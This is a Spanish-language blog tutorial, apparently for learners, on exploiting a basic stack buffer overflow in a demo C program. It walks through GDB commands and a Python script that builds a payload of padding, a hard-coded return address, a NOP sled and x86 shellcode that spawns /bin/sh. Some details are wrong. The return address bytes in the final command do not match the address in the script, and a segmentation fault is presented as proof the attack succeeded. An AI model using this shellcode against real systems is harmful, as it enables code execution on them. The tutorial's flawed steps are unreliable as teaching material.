Buffer Overflow

Como explotar un Buffer Overflow (Básico)

Código vulnerable: buffer_overflow_demo.c

Para realizar un ataque de buffer overflow, primero necesitas tener un programa vulnerable. A continuación, te muestro cómo llevar a cabo este ataque utilizando GDB como depurador y el ejemplo de código que mencionaste previamente.

Primero, compila el programa vulnerable con la opción -g para incluir información de depuración:

bash gcc -g -o buffer_overflow_demo buffer_overflow_demo.c

Ahora, ejecuta GDB con el programa vulnerable:

bash gdb ./buffer_overflow_demo

Una vez dentro de GDB, configura un punto de interrupción justo antes de la lectura de la entrada del usuario:

gdb break *main+45

Inicia la ejecución del programa:

gdb run < <(python -c ‘print(“A”*50+”BBBB”)’)

Encontrando el EIP

Calcular la cantidad de bytes necesarios para sobrescribir el EIP. Por convención, esto se llama “desplazamiento”.

Dependiendo del sistema operativo y la arquitectura del procesador, el desplazamiento variará. Crear un payload que sobrescriba el EIP con la dirección de memoria donde se encuentra el shellcode malicioso. Esto requiere conocimientos sobre la arquitectura del procesador y las técnicas de ensamblador.

Ejecutar el programa vulnerable con el payload adecuado para alcanzar el punto de control del atacante. ————————————————–

Una vez que el programa se pause en el punto de interrupción, examina el contenido de la pila:

gdb info frame

Identifica la posición donde se encuentra el valor “BBBB”. Este será el comienzo del espacio en memoria que sobrescribirás.

Ahora, crea un script en Python para generar el payload:

python import struct def create_payload(): padding = ‘A’ * 50 ret_addr = struct.pack(‘<I’, 0xbffff6f0) # Dirección de memoria donde se encuentra el comienzo del espacio en memoria shellcode = “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80” nopsled = ‘\x90’ * 20 return padding + ret_addr + nopsled + shellcode print(create_payload()) “` Ejecuta nuevamente el programa con el payload generado: “`bash ./buffer_overflow_demo `python -c ‘print(“A”*50+”\x6f\xf6\xff\xbf”)’` “` Si has configurado correctamente el punto de interrupción, verás que el programa se detiene antes de que se ejecute el shellcode. Inspecciona la pila nuevamente: “`gdb info frame “` Verifica que los valores de la pila hayan sido sobrescritos por el shellcode. Finalmente, continúa la ejecución del programa: “`gdb continue “` El programa fallará debido a un error de segmentación, lo cual indica que el ataque de buffer overflow fue exitoso. Ten en cuenta que este ejemplo es sólo para fines educativos y no debe aplicarse en situaciones reales sin consentimiento mutuo y respetando la ética y la legislación vigente

Recent Comments

No comments to show.